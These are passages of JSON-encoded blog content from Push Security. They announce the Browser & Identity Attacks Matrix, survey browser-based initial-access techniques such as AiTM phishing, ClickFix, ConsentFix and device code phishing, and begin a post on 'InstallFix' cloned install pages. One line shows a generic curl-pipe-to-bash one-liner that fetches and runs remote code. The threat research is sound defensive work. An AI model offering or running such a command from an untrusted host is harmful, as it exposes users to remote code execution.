",{"data":1836,"content":1838,"nodeType":889},{"uri":1837},"https://pushsecurity.com/blog/the-saas-attack-matrix-one-year-on/",[1839],{"data":1840,"marks":1841,"value":1842,"nodeType":865},{},[],"reviewed what had changed",{"data":1844,"marks":1845,"value":1846,"nodeType":865},{},[]," and found that the initial access phase — the techniques designed to compromise an identity in the first place — was where almost all of the attacker innovation was concentrated. And two years on, that trend has become the story of the modern threat landscape. ",{"data":1848,"content":1849,"nodeType":866},{},[1850,1854,1862],{"data":1851,"marks":1852,"value":1853,"nodeType":865},{},[],"Today, we're re-releasing the matrix as the ",{"data":1855,"content":1857,"nodeType":889},{"uri":1856},"https://pushsecurity.com/resources/browser-identity-attacks-matrix/",[1858],{"data":1859,"marks":1860,"value":1861,"nodeType":865},{},[],"Browser & Identity Attacks Matrix",{"data":1863,"marks":1864,"value":1865,"nodeType":865},{},[],". The name change isn't cosmetic. It reflects that the attacks driving the most consequential breaches are browser-based and identity-first.",{"data":1867,"content":1871,"nodeType":921},{"target":1868},{"sys":1869},{"id":1870,"type":918,"linkType":919},"MSnrBRJtiQxpv2qxFLCVE",[],{"data":1873,"content":1874,"nodeType":944},{},[],{"data":1876,"content":1877,"nodeType":953},{},[1878],{"data":1879,"marks":1880,"value":1882,"nodeType":865},{},[1881],{"type":935},"Why the scope needed to change",{"data":1884,"content":1885,"nodeType":866},{},[1886],{"data":1887,"marks":1888,"value":1889,"nodeType":865},{},[],"The original SaaS attack matrix was built around a specific insight: that attacks targeting modern business applications played out entirely over the internet, without touching endpoints or internal networks in any way that EDR or network detection tools would recognize.",{"data":1891,"content":1892,"nodeType":866},{},[1893],{"data":1894,"marks":1895,"value":1896,"nodeType":865},{},[],"That framing was useful, and it remains true. But it anchored the matrix to the post-access phase — what attackers do once they're inside a SaaS application — and didn't give enough weight to the initial access techniques that determine whether attackers get there in the first place.",{"data":1898,"content":1899,"nodeType":866},{},[1900],{"data":1901,"marks":1902,"value":1903,"nodeType":865},{},[],"The problem is that initial access is where the overwhelming majority of attacker innovation and investment is concentrated, and the techniques being used to achieve it are best understood as browser and identity attacks rather than SaaS-specific ones. AiTM phishing, ClickFix and its growing family of clipboard-injection variants, device code phishing, OAuth consent abuse, credential stuffing powered by infostealer supply chains, malicious browser extensions all happen in or via the browser.",{"data":1905,"content":1906,"nodeType":866},{},[1907],{"data":1908,"marks":1909,"value":1910,"nodeType":865},{},[],"Another issue is that \"SaaS\" has arguably ceased to be a meaningful category. When we consider that most organizations run the majority of their business on cloud applications, the difference between what constitutes \"SaaS\" versus cloud versus just \"business IT\" is pretty blurry (and feels like an academic rather than practical difference).",{"data":1912,"content":1913,"nodeType":866},{},[1914],{"data":1915,"marks":1916,"value":1918,"nodeType":865},{},[1917],{"type":935},"So it's less about whether an attack is a \"SaaS attack\" and more about how these attacks actually play out. ",{"data":1920,"content":1921,"nodeType":944},{},[],{"data":1923,"content":1924,"nodeType":953},{},[1925],{"data":1926,"marks":1927,"value":1929,"nodeType":865},{},[1928],{"type":935},"The technique landscape has transformed",{"data":1931,"content":1932,"nodeType":866},{},[1933],{"data":1934,"marks":1935,"value":1936,"nodeType":865},{},[],"The second part to the change is the fact that scale and speed of attacker innovation in the space justifies it.",{"data":1938,"content":1939,"nodeType":866},{},[1940],{"data":1941,"marks":1942,"value":1943,"nodeType":865},{},[],"When we launched the matrix in mid-2023, AiTM phishing was emerging as a serious concern but was far from ubiquitous. ClickFix didn't exist as a named technique. Device code phishing was a curiosity documented by a handful of researchers. ConsentFix was years away from being discovered. Browser extension supply chain attacks were rare enough to be individually notable.",{"data":1945,"content":1946,"nodeType":866},{},[1947],{"data":1948,"marks":1949,"value":1950,"nodeType":865},{},[],"In the two and a half years since, every one of these has become a mainstream, industrialized attack technique — and several have converged in ways that would have been hard to predict.",{"data":1952,"content":1956,"nodeType":921},{"target":1953},{"sys":1954},{"id":1955,"type":918,"linkType":919},"5Kw2kSrL8u4VyslxK8HCtR",[],{"data":1958,"content":1959,"nodeType":1229},{},[1960],{"data":1961,"marks":1962,"value":1964,"nodeType":865},{},[1963],{"type":935},"AiTM phishing has become the default phishing method",{"data":1966,"content":1967,"nodeType":866},{},[1968,1972,1980],{"data":1969,"marks":1970,"value":1971,"nodeType":865},{},[],"AiTM phishing is now the standard, powered by Phishing-as-a-Service kits that operate with the release cycles and customer support of legitimate SaaS products. Tycoon 2FA alone accounted for ",{"data":1973,"content":1975,"nodeType":889},{"uri":1974},"https://pushsecurity.com/blog/2025-top-phishing-trends/",[1976],{"data":1977,"marks":1978,"value":1979,"nodeType":865},{},[],"62% of phishing detected by Microsoft",{"data":1981,"marks":1982,"value":1983,"nodeType":865},{},[]," and over 64,000 confirmed incidents, with Sneaky2FA, FlowerStorm, Evilginx, and a growing roster of competitors filling out the marketplace.",{"data":1985,"content":1986,"nodeType":866},{},[1987],{"data":1988,"marks":1989,"value":1990,"nodeType":865},{},[],"AiTM is constantly evolving, with vendors adding new features, capabilities, detection evasion techniques, and so on. Abuse of legitimate platforms, and increasingly AI-assisted development means that it’s trivial for attackers to spin up and tear down infrastructure, scale their campaigns, target specific organizations with crafted pages and lures, and generally means that attackers can operate highly sophisticated attacks with minimal effort and complexity. This makes AiTM and other PhaaS-powered techniques extremely accessible to all kinds of criminals.  ",{"data":1992,"content":1993,"nodeType":866},{},[1994],{"data":1995,"marks":1996,"value":1997,"nodeType":865},{},[],"These kits are delivered across several browser-based channels — not just email. Push data consistently shows that roughly 1 in 3 phishing payloads we intercept arrive via social media, search ads, messaging apps, or other non-email vectors.",{"data":1999,"content":2000,"nodeType":866},{},[2001,2005,2010],{"data":2002,"marks":2003,"value":2004,"nodeType":865},{},[],"Vishing has also surged as a delivery channel — CrowdStrike documented a ",{"data":2006,"marks":2007,"value":2009,"nodeType":865},{},[2008],{"type":935},"442% year-over-year increase",{"data":2011,"marks":2012,"value":2013,"nodeType":865},{},[],", and Mandiant found it was the single most common initial vector in cloud compromises at 23%. But the trend that matters isn't voice calls in isolation; it's voice calls combined with browser-based payloads, where a live operator guides the victim into an AiTM page or device code flow that the call alone could not execute.",{"data":2015,"content":2016,"nodeType":1229},{},[2017],{"data":2018,"marks":2019,"value":2021,"nodeType":865},{},[2020],{"type":935},"ClickFix is the top reported initial access vector",{"data":2023,"content":2024,"nodeType":866},{},[2025,2029,2037,2041,2049],{"data":2026,"marks":2027,"value":2028,"nodeType":865},{},[],"ClickFix has gone from nonexistent to one of the most prevalent initial access techniques in under 18 months. Microsoft reported it as the ",{"data":2030,"content":2032,"nodeType":889},{"uri":2031},"https://cdn-dynmedia-1.microsoft.com/is/content/microsoftcorp/microsoft/msc/documents/presentations/CSR/Microsoft-Digital-Defense-Report-2025.pdf",[2033],{"data":2034,"marks":2035,"value":2036,"nodeType":865},{},[],"most common initial access vector in 2025",{"data":2038,"marks":2039,"value":2040,"nodeType":865},{},[],", accounting for 47% of observed attacks, while CrowdStrike documented a ",{"data":2042,"content":2044,"nodeType":889},{"uri":2043},"https://www.crowdstrike.com/explore/2026-global-threat-report",[2045],{"data":2046,"marks":2047,"value":2048,"nodeType":865},{},[],"563% increase",{"data":2050,"marks":2051,"value":2052,"nodeType":865},{},[]," in fake CAPTCHA lures (a top ClickFix style).",{"data":2054,"content":2055,"nodeType":866},{},[2056,2060,2065],{"data":2057,"marks":2058,"value":2059,"nodeType":865},{},[],"ClickFix is admittedly an outlier in a browser attacks matrix — the payload ultimately executes on the endpoint, not in the browser — but the delivery is overwhelmingly browser-based: ",{"data":2061,"marks":2062,"value":2064,"nodeType":865},{},[2063],{"type":935},"4 in 5 ClickFix payloads",{"data":2066,"marks":2067,"value":2068,"nodeType":865},{},[]," intercepted by Push arrive via search engines as a result of malvertising or compromised web pages, not email, which means the browser is the only control point that actually sees the attack before the user pastes the malicious command.",{"data":2070,"content":2071,"nodeType":866},{},[2072],{"data":2073,"marks":2074,"value":2075,"nodeType":865},{},[],"ClickFix is now the primary delivery mechanism for infostealer malware, which is in turn the primary source of the stolen credentials and session tokens that power credential stuffing and session hijacking — which means the technique sits at the start of a cycle where one class of browser-delivered attack generates the raw material for the next.",{"data":2077,"content":2078,"nodeType":866},{},[2079,2083,2090,2094,2102],{"data":2080,"marks":2081,"value":2082,"nodeType":865},{},[],"The success of ClickFix has predictably spawned a growing family of derivatives — FileFix, CrashFix, ",{"data":2084,"content":2085,"nodeType":889},{"uri":1693},[2086],{"data":2087,"marks":2088,"value":2089,"nodeType":865},{},[],"InstallFix",{"data":2091,"marks":2092,"value":2093,"nodeType":865},{},[]," — and much of the naming is marketing hype around variations on the same clipboard-injection mechanic. But ",{"data":2095,"content":2097,"nodeType":889},{"uri":2096},"https://pushsecurity.com/blog/consentfix/",[2098],{"data":2099,"marks":2100,"value":2101,"nodeType":865},{},[],"ConsentFix",{"data":2103,"marks":2104,"value":2105,"nodeType":865},{},[]," was a genuinely novel development.",{"data":2107,"content":2108,"nodeType":1229},{},[2109],{"data":2110,"marks":2111,"value":2113,"nodeType":865},{},[2112],{"type":935},"Browser-native ClickFix: ConsentFix",{"data":2115,"content":2116,"nodeType":866},{},[2117,2121,2129,2133,2141],{"data":2118,"marks":2119,"value":2120,"nodeType":865},{},[],"ConsentFix is a fully browser-native attack that merged ClickFix-style social engineering with OAuth consent abuse, compromising accounts through a legitimate Microsoft authorization flow with no endpoint component at all. ConsentFix was ",{"data":2122,"content":2124,"nodeType":889},{"uri":2123},"https://pushsecurity.com/blog/consentfix-debrief/",[2125],{"data":2126,"marks":2127,"value":2128,"nodeType":865},{},[],"traced to APT29",{"data":2130,"marks":2131,"value":2132,"nodeType":865},{},[]," and has since been ",{"data":2134,"content":2136,"nodeType":889},{"uri":2135},"https://pushsecurity.com/blog/consentfix-v3-analyzing-a-new-toolkit/",[2137],{"data":2138,"marks":2139,"value":2140,"nodeType":865},{},[],"commercialized on criminal forums",{"data":2142,"marks":2143,"value":2144,"nodeType":865},{},[],", following the same path from state-sponsored technique to commodity criminal tooling that we've seen repeatedly in this space.",{"data":2146,"content":2147,"nodeType":866},{},[2148],{"data":2149,"marks":2150,"value":2151,"nodeType":865},{},[],"ConsentFix demonstrates that the clipboard-injection mechanic can evolve into something that operates entirely within the browser, eliminating the endpoint detection surface that traditional ClickFix still exposed.",{"data":2153,"content":2154,"nodeType":1229},{},[2155],{"data":2156,"marks":2157,"value":2159,"nodeType":865},{},[2158],{"type":935},"Attackers have pivoted to authorization attacks to get around login controls",{"data":2161,"content":2162,"nodeType":866},{},[2163,2167,2175],{"data":2164,"marks":2165,"value":2166,"nodeType":865},{},[],"Authorization attacks like device code phishing have seen a ",{"data":2168,"content":2170,"nodeType":889},{"uri":2169},"https://pushsecurity.com/blog/device-code-phishing/",[2171],{"data":2172,"marks":2173,"value":2174,"nodeType":865},{},[],"37.5x increase",{"data":2176,"marks":2177,"value":2178,"nodeType":865},{},[]," since the start of 2026, with at least 12 distinct kits now offering the technique. It bypasses standard authentication controls — including passkeys — because the attack occurs through the OAuth device authorization flow rather than the standard login flow. ",{"data":2180,"content":2181,"nodeType":866},{},[2182],{"data":2183,"marks":2184,"value":2185,"nodeType":865},{},[],"The technique was first associated with nation-state actors like Storm-2372, but went from espionage-grade to commodity PhaaS tooling in roughly eighteen months, with kits like EvilTokens and Venom now offering turnkey device code phishing as a service.",{"data":2187,"content":2188,"nodeType":866},{},[2189],{"data":2190,"marks":2191,"value":2192,"nodeType":865},{},[],"The device code authorization is effectively performed post-authentication. If you already have an active session in your browser, entering the device code and selecting your account from a drop-down menu is all that's needed. No password or MFA required. You can see an example in the video below.",{"data":2194,"content":2198,"nodeType":921},{"target":2195},{"sys":2196},{"id":2197,"type":918,"linkType":919},"2WPb41lNRajdpt5pogQg8M",[],{"data":2200,"content":2201,"nodeType":866},{},[2202],{"data":2203,"marks":2204,"value":2205,"nodeType":865},{},[],"And the ecosystem is adapting to this opportunity: established AiTM vendors like Tycoon are adding authorization-focused options alongside their existing credential-harvesting capabilities, which points toward multi-technique platforms where operators pick the right tool for whatever defenses the target has in place.",{"data":2207,"content":2208,"nodeType":1229},{},[2209],{"data":2210,"marks":2211,"value":2213,"nodeType":865},{},[2212],{"type":935},"Malicious and hacked browser extensions are one of the fastest growing threats",{"data":2215,"content":2216,"nodeType":866},{},[2217,2221,2229],{"data":2218,"marks":2219,"value":2220,"nodeType":865},{},[],"Malicious browser extensions have matured from an occasional nuisance into a scalable supply chain attack vector. The ",{"data":2222,"content":2224,"nodeType":889},{"uri":2223},"https://pushsecurity.com/blog/why-browser-extension-risk-scoring-wont-predict-your-next-breach/",[2225],{"data":2226,"marks":2227,"value":2228,"nodeType":865},{},[],"Cyberhaven compromise",{"data":2230,"marks":2231,"value":2232,"nodeType":865},{},[]," in December 2024 — where approximately 35 extensions were weaponized through a single OAuth phishing campaign targeting developers — impacted 2.6 million users and demonstrated that extension supply chain attacks can achieve the kind of reach that used to require a compromised software update server.",{"data":2234,"content":2235,"nodeType":866},{},[2236],{"data":2237,"marks":2238,"value":2239,"nodeType":865},{},[],"Since Cyberhaven, the pace has only accelerated. In 2026 alone, researchers have publicly disclosed at least 250 confirmed malicious browser extensions affecting roughly 1.75 million users, alongside a further 370+ extensions engaged in undisclosed or policy-disclosed data harvesting affecting an additional 44 million users. That doesn't count the extensions from late-2025 campaigns (DarkSpectre, AITOPIA, Trust Wallet) whose impacts carried into 2026.",{"data":2241,"content":2242,"nodeType":866},{},[2243,2247,2255],{"data":2244,"marks":2245,"value":2246,"nodeType":865},{},[],"The attack paths have also expanded. Beyond phishing developers for take over Web Store accounts (the Cyberhaven playbook), attackers are buying existing extensions from developers, waiting for ownership transfers or abandonments to take over, and increasingly vibe-coding their own functional extensions from scratch to build an audience that can later be weaponized. The common thread is that ",{"data":2248,"content":2249,"nodeType":889},{"uri":2223},[2250],{"data":2251,"marks":2252,"value":2254,"nodeType":865},{},[2253],{"type":1191},"most malicious extensions didn't start out malicious",{"data":2256,"marks":2257,"value":2258,"nodeType":865},{},[]," — they started as legitimate tools and were turned into weapons after the fact.",{"data":2260,"content":2261,"nodeType":866},{},[2262],{"data":2263,"marks":2264,"value":2265,"nodeType":865},{},[],"None of this is happening in isolation. The threat landscape has reoriented around browser-based initial access and identity compromise — and the matrix needed to catch up.",{"data":2267,"content":2268,"nodeType":944},{},[],{"data":2270,"content":2271,"nodeType":953},{},[2272],{"data":2273,"marks":2274,"value":2276,"nodeType":865},{},[2275],{"type":935},"The evolution is playing out in public breaches",{"data":2278,"content":2279,"nodeType":866},{},[2280],{"data":2281,"marks":2282,"value":2283,"nodeType":865},{},[],"It’s worth reinforcing that when the SaaS matrix was first released, many of these attacks hadn’t been seen in the wild. The change today is staggering:",{"data":2285,"content":2286,"nodeType":2374},{},[2287,2310,2332,2352],{"data":2288,"content":2289,"nodeType":2309},{},[2290],{"data":2291,"content":2292,"nodeType":866},{},[2293,2297,2305],{"data":2294,"marks":2295,"value":2296,"nodeType":865},{},[],"When ",{"data":2298,"content":2300,"nodeType":889},{"uri":2299},"https://pushsecurity.com/blog/scattered-lapsus-hunters/",[2301],{"data":2302,"marks":2303,"value":2304,"nodeType":865},{},[],"Scattered Lapsus$ Hunters",{"data":2306,"marks":2307,"value":2308,"nodeType":865},{},[]," compromised over a thousand organizations' Salesforce tenants through device code phishing, the attack started with a phone call, moved through a browser-based authorization flow for the attacker’s app, and ended with mass data exfiltration via API.","list-item",{"data":2311,"content":2312,"nodeType":2309},{},[2313],{"data":2314,"content":2315,"nodeType":866},{},[2316,2320,2328],{"data":2317,"marks":2318,"value":2319,"nodeType":865},{},[],"When the same collective launched ",{"data":2321,"content":2323,"nodeType":889},{"uri":2322},"https://pushsecurity.com/blog/unpacking-the-latest-slh-campaign/",[2324],{"data":2325,"marks":2326,"value":2327,"nodeType":865},{},[],"AiTM phishing campaigns",{"data":2329,"marks":2330,"value":2331,"nodeType":865},{},[]," targeting Okta and Entra SSO, the phishing page was operated by a human in real time and delivered over a voice call — not email.",{"data":2333,"content":2334,"nodeType":2309},{},[2335],{"data":2336,"content":2337,"nodeType":866},{},[2338,2341,2348],{"data":2339,"marks":2340,"value":2296,"nodeType":865},{},[],{"data":2342,"content":2343,"nodeType":889},{"uri":2096},[2344],{"data":2345,"marks":2346,"value":2347,"nodeType":865},{},[],"APT29 deployed ConsentFix",{"data":2349,"marks":2350,"value":2351,"nodeType":865},{},[]," across dozens of compromised websites, the entire attack chain was browser-native, abusing a legitimate Microsoft OAuth flow to bypass MFA without proxying a single credential.",{"data":2353,"content":2354,"nodeType":2309},{},[2355],{"data":2356,"content":2357,"nodeType":866},{},[2358,2362,2370],{"data":2359,"marks":2360,"value":2361,"nodeType":865},{},[],"The ",{"data":2363,"content":2365,"nodeType":889},{"uri":2364},"https://pushsecurity.com/blog/identity-attacks-in-the-wild/#id-snowflake-june-2024",[2366],{"data":2367,"marks":2368,"value":2369,"nodeType":865},{},[],"Snowflake breach",{"data":2371,"marks":2372,"value":2373,"nodeType":865},{},[]," — arguably the most consequential credential-based campaign of the past several years — saw 165 organizations breached using credentials that had been sitting in infostealer dumps for years, replayed against Snowflake tenants that lacked mandatory MFA. The attack surface wasn't Snowflake's application logic; it was the identity hygiene gap that every organization carries across hundreds of apps.","unordered-list",{"data":2376,"content":2377,"nodeType":866},{},[2378],{"data":2379,"marks":2380,"value":2381,"nodeType":865},{},[],"And that’s just the big picture. Every month we’re tracking new public breaches involving browser and identity TTPs — which again, are just the tip of the iceberg when you consider that many breaches are settled quietly without hitting the headlines. ",{"data":2383,"content":2384,"nodeType":866},{},[2385,2389,2394],{"data":2386,"marks":2387,"value":2388,"nodeType":865},{},[],"One of the key drivers here is the shrinking time-to-exploit. CrowdStrike's average e-crime breakout time is down to ",{"data":2390,"marks":2391,"value":2393,"nodeType":865},{},[2392],{"type":935},"29 minutes",{"data":2395,"marks":2396,"value":2397,"nodeType":865},{},[],", with the fastest recorded at 27 seconds. When attackers can move from initial access to data exfiltration within minutes, the window for post-compromise detection collapses to near zero. The best chance of stopping the attack is at the point of initial access before the identity is compromised.",{"data":2399,"content":2400,"nodeType":944},{},[],{"data":2402,"content":2403,"nodeType":953},{},[2404,2409,2415,2420,2426],{"data":2405,"marks":2406,"value":2408,"nodeType":865},{},[2407],{"type":935},"Sidenote: why we're looking at attacks ",{"data":2410,"marks":2411,"value":2414,"nodeType":865},{},[2412,2413],{"type":965},{"type":935},"in",{"data":2416,"marks":2417,"value":2419,"nodeType":865},{},[2418],{"type":935}," the browser, not ",{"data":2421,"marks":2422,"value":2425,"nodeType":865},{},[2423,2424],{"type":965},{"type":935},"on",{"data":2427,"marks":2428,"value":2430,"nodeType":865},{},[2429],{"type":935}," the browser",{"data":2432,"content":2433,"nodeType":866},{},[2434,2438,2446],{"data":2435,"marks":2436,"value":2437,"nodeType":865},{},[],"Calling this a \"browser attacks\" matrix needs clarification. We're not talking about browser exploits — RCE vulnerabilities, sandbox escapes, memory corruption bugs. Those attacks target the browser itself, they're extraordinarily expensive to develop, and they're increasingly rare. Browser zero-days hit a ",{"data":2439,"content":2441,"nodeType":889},{"uri":2440},"https://cloud.google.com/blog/topics/threat-intelligence/2025-zero-day-review",[2442],{"data":2443,"marks":2444,"value":2445,"nodeType":865},{},[],"historic low of 9%",{"data":2447,"marks":2448,"value":2449,"nodeType":865},{},[]," of all zero-days reported to Google, and a Chrome RCE commands a $250,000 bug bounty.",{"data":2451,"content":2452,"nodeType":866},{},[2453],{"data":2454,"marks":2455,"value":2456,"nodeType":865},{},[],"In comparison, a one-year phishing kit rental costs $1,000. A bulk stolen credential list costs $15. An initial-access-broker-provided IdP admin account costs $3,000. When it costs orders of magnitude less to exploit the person using the browser than to exploit the browser itself, attackers will take the cheaper option every time.",{"data":2458,"content":2459,"nodeType":866},{},[2460],{"data":2461,"marks":2462,"value":2463,"nodeType":865},{},[],"It's worth heading off the obvious counterargument: won't AI-assisted vulnerability discovery eventually make browser exploits cheaper? Perhaps — but it will simultaneously make them easier for browser vendors to find and patch, and vendors like Google and Microsoft have the engineering capacity and financial incentive to scale AI-driven remediation far faster than attackers can scale exploit development.",{"data":2465,"content":2466,"nodeType":944},{},[],{"data":2468,"content":2469,"nodeType":953},{},[2470],{"data":2471,"marks":2472,"value":2474,"nodeType":865},{},[2473],{"type":935},"What hasn't changed",{"data":2476,"content":2477,"nodeType":866},{},[2478,2482,2490],{"data":2479,"marks":2480,"value":2481,"nodeType":865},{},[],"The matrix remains open-source, community-maintained, and available on ",{"data":2483,"content":2485,"nodeType":889},{"uri":2484},"https://github.com/pushsecurity/saas-attacks",[2486],{"data":2487,"marks":2488,"value":2489,"nodeType":865},{},[],"GitHub",{"data":2491,"marks":2492,"value":2493,"nodeType":865},{},[],". The goal is the same as it was in 2023: to give offensive and defensive security teams a shared reference point for the techniques that matter most.",{"data":2495,"content":2496,"nodeType":866},{},[2497],{"data":2498,"marks":2499,"value":2500,"nodeType":865},{},[],"We built it because there was a gap in how the industry talked about these techniques, and that gap still exists — MITRE ATT&CK remains essential for endpoint and network TTPs, but the browser-based, identity-first techniques behind most modern breaches are still underrepresented in traditional frameworks.",{"data":2502,"content":2503,"nodeType":866},{},[2504],{"data":2505,"marks":2506,"value":2507,"nodeType":865},{},[],"We continue to maintain the matrix with input from red teams, detection engineers, and threat researchers across the community. Some of the most valuable additions over the past two years have come from practitioners who encountered a technique on an engagement or in an investigation and contributed it back to the repository.",{"data":2509,"content":2510,"nodeType":866},{},[2511,2515,2522],{"data":2512,"marks":2513,"value":2514,"nodeType":865},{},[],"If you're an offensive security professional using these techniques on engagements, or a defender building detections against them, we want to hear from you. Submit a PR, open a discussion, or flag a technique we've missed on ",{"data":2516,"content":2518,"nodeType":889},{"uri":2517},"https://github.com/pushsecurity/browser-identity-attacks-matrix",[2519],{"data":2520,"marks":2521,"value":2489,"nodeType":865},{},[],{"data":2523,"marks":2524,"value":1066,"nodeType":865},{},[],{"data":2526,"content":2527,"nodeType":944},{},[],{"data":2529,"content":2530,"nodeType":953},{},[2531],{"data":2532,"marks":2533,"value":2535,"nodeType":865},{},[2534],{"type":935},"Looking ahead",{"data":2537,"content":2538,"nodeType":866},{},[2539],{"data":2540,"marks":2541,"value":2542,"nodeType":865},{},[],"The pace of attacker innovation in browser-based initial access techniques over the past 18 months has been unlike anything we've tracked before — technique after technique moving from research curiosity to industrialized criminal tooling within months, not years.",{"data":2544,"content":2545,"nodeType":2374},{},[2546,2556,2566],{"data":2547,"content":2548,"nodeType":2309},{},[2549],{"data":2550,"content":2551,"nodeType":866},{},[2552],{"data":2553,"marks":2554,"value":2555,"nodeType":865},{},[],"AiTM platforms are adding authorization-based attack options alongside their credential-harvesting capabilities.",{"data":2557,"content":2558,"nodeType":2309},{},[2559],{"data":2560,"content":2561,"nodeType":866},{},[2562],{"data":2563,"marks":2564,"value":2565,"nodeType":865},{},[],"ClickFix has spawned fully browser-native variants.",{"data":2567,"content":2568,"nodeType":2309},{},[2569],{"data":2570,"content":2571,"nodeType":866},{},[2572],{"data":2573,"marks":2574,"value":2575,"nodeType":865},{},[],"AI is lowering the cost of producing convincing social engineering and phishing infrastructure at scale.",{"data":2577,"content":2578,"nodeType":866},{},[2579],{"data":2580,"marks":2581,"value":2582,"nodeType":865},{},[],"We don't see any of this slowing down, and that's exactly why thinking about these attacks as a browser problem instead of siloing them across email, endpoint, network, and cloud categories, each with a partial view of the picture (and still missing the whole when combined).",{"data":2584,"content":2585,"nodeType":866},{},[2586,2590,2597],{"data":2587,"marks":2588,"value":2589,"nodeType":865},{},[],"The Browser & Identity Attacks Matrix is our contribution to keeping that shared understanding current. You can ",{"data":2591,"content":2592,"nodeType":889},{"uri":1856},[2593],{"data":2594,"marks":2595,"value":2596,"nodeType":865},{},[],"explore the matrix here",{"data":2598,"marks":2599,"value":1066,"nodeType":865},{},[],{"data":2601,"content":2602,"nodeType":866},{},[2603,2607,2615],{"data":2604,"marks":2605,"value":2606,"nodeType":865},{},[],"You can also read our recent ",{"data":2608,"content":2610,"nodeType":889},{"uri":2609},"https://pushsecurity.com/thank-you/browser-attacks-report",[2611],{"data":2612,"marks":2613,"value":2614,"nodeType":865},{},[],"browser attack techniques report",{"data":2616,"marks":2617,"value":2618,"nodeType":865},{},[]," for more information.",{"data":2620,"content":2624,"nodeType":921},{"target":2621},{"sys":2622},{"id":2623,"type":918,"linkType":919},"1hx6sxpyEzxn4F4jc1RGQi",[],{"data":2626,"content":2627,"nodeType":944},{},[],{"data":2629,"content":2630,"nodeType":866},{},[2631],{"data":2632,"marks":2633,"value":2634,"nodeType":865},{},[],"Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required. Security teams use Push to detect and stop advanced browser-based attacks like AiTM phishing, ClickFix, and session hijacking; gain visibility and control over AI tool usage across their workforce; harden identities by surfacing credential reuse, SSO gaps, and shadow IT; and support data loss and insider investigations with browser-layer telemetry that other tools can't see.",{"data":2636,"content":2637,"nodeType":866},{},[2638,2642,2650],{"data":2639,"marks":2640,"value":2641,"nodeType":865},{},[],"Book a ",{"data":2643,"content":2645,"nodeType":889},{"uri":2644},"https://pushsecurity.com/demo",[2646],{"data":2647,"marks":2648,"value":2649,"nodeType":865},{},[],"live demo",{"data":2651,"marks":2652,"value":2653,"nodeType":865},{},[]," to learn more.","Introducing the Browser & Identity Attacks Matrix","We're re-releasing the SaaS attack matrix as the Browser & Identity Attacks Matrix. Here's why we've decided to make the change and what it means.","2026-05-08T00:00:00.000Z","introducing-the-browser-and-identity-attacks-matrix",{"items":2659},[2660,2664],{"sys":2661,"name":2663},{"id":2662},"6A5RXS31ZQx3PwryGb1IMy","Browser-based attacks",{"sys":2665,"name":342},{"id":2666},"4ksQNCFeBf8H4QIORqpRLw",{"items":2668},[2669],{"fullName":2670,"firstName":2671,"jobTitle":2672,"profilePicture":2673},"Dan Green","Dan","Threat Research",{"url":2674},"https://images.ctfassets.net/y1cdw1ablpvd/7jik1VhFgA3kgzXBXTm2Vw/fcd8c171da644903d0827eafcfbcaad0/Dan_Headshot_2025.png",{"__typename":1802,"sys":2676,"content":2678,"title":3684,"synopsis":3685,"hashTags":59,"publishedDate":3686,"slug":3687,"tagsCollection":3688,"authorsCollection":3694},{"id":2677},"7bG71Eo43crbIHKzczooVS",{"json":2679},{"data":2680,"content":2681,"nodeType":1663},{},[2682,2688,2695,2702,2710,2725,2731,2734,2742,2749,2756,2763,2770,2777,2784,2791,2798,2804,2810,2817,2823,2830,2837,2843,2849,2855,2861,2880,2892,2899,2905,2912,2919,2952,2959,2967,2974,2980,2987,2993,3000,3018,3025,3028,3036,3043,3138,3145,3151,3154,3162,3169,3176,3183,3227,3230,3238,3254,3261,3269,3479,3487,3520,3528,3537,3543,3551,3558,3566,3577,3585,3591,3599,3610,3618,3626,3634,3642,3650,3658,3669,3676],{"data":2683,"content":2687,"nodeType":921},{"target":2684},{"sys":2685},{"id":2686,"type":918,"linkType":919},"38JCcRQe2tN9ooHGwreoF5",[],{"data":2689,"content":2690,"nodeType":866},{},[2691],{"data":2692,"marks":2693,"value":2694,"nodeType":865},{},[],"There was a time, not that long ago, when pasting a command from a website straight into your terminal was something you’d only try once before some grizzled senior engineer beat it out of you. That’s because you’re effectively handing a website a blank cheque to execute whatever it wants on your system.",{"data":2696,"content":2697,"nodeType":866},{},[2698],{"data":2699,"marks":2700,"value":2701,"nodeType":865},{},[],"But somehow, it’s now the default. Homebrew, Rust, nvm, Bun, oh-my-zsh and hundreds of the most widely used developer tools on the planet now ship with the same instructions. Copy a “curl to bash” ( curl https://some.website | bash) one-liner from a website, paste it into your terminal, and hit enter. The entire security model boils down to \"trust the domain.\" And with AI adoption encouraging more non-technical users to work with the kind of tools that only devs used to use, this suddenly becomes a threat to a much larger, less security conscious pool of users.",{"data":2703,"content":2704,"nodeType":866},{},[2705],{"data":2706,"marks":2707,"value":2709,"nodeType":865},{},[2708],{"type":935},"It’s not hard to see how attackers can exploit this. ",{"data":2711,"content":2712,"nodeType":866},{},[2713,2717,2721],{"data":2714,"marks":2715,"value":2716,"nodeType":865},{},[],"We're tracking a technique we're calling ",{"data":2718,"marks":2719,"value":2089,"nodeType":865},{},[2720],{"type":935},{"data":2722,"marks":2723,"value":2724,"nodeType":865},{},[],": a clever social engineering attack where threat actors clone the installation pages of legitimate CLI tools and present victims with malicious install commands disguised as the real thing. In each case, the mechanic is the same: the victim sees what looks like a familiar install command, copies it, pastes it, and runs it. Except the command they run is not the one they expected.",{"data":2726,"content":2730,"nodeType":921},{"target":2727},{"sys":2728},{"id":2729,"type":918,"linkType":919},"6VMkuQkU5L0vObxIojI1Xw",[],{"data":2732,"content":2733,"nodeType":944},{},[],{"data":2735,"content":2736,"nodeType":953},{},[2737],{"data":2738,"marks":2739,"value":2741,"nodeType":865},{},[2740],{"type":935},"InstallFix Claude Code campaign teardown",{"data":2743,"content":2744,"nodeType":866},{},[2745],{"data":2746,"marks":2747,"value":2748,"nodeType":865},{},[],"All you need to make this attack work is a popular tool you can impersonate. Naturally, this makes trendy AI tools a popular choice. Then, you just need to boost your lure to deliver it to unsuspecting victims via search engine. The most common way of doing this is through sponsored results — aka malvertising. ",{"data":2750,"content":2751,"nodeType":866},{},[2752],{"data":2753,"marks":2754,"value":2755,"nodeType":865},{},[],"In the recent examples identified by Push researchers, attackers have simply cloned the installation webpages for tools and updated the installation instructions with malicious commands. ",{"data":2757,"content":2758,"nodeType":1229},{},[2759],{"data":2760,"marks":2761,"value":2762,"nodeType":865},{},[],"A new campaign targeting Claude Code",{"data":2764,"content":2765,"nodeType":866},{},[2766],{"data":2767,"marks":2768,"value":2769,"nodeType":865},{},[],"We've recently observed a campaign that puts this technique into 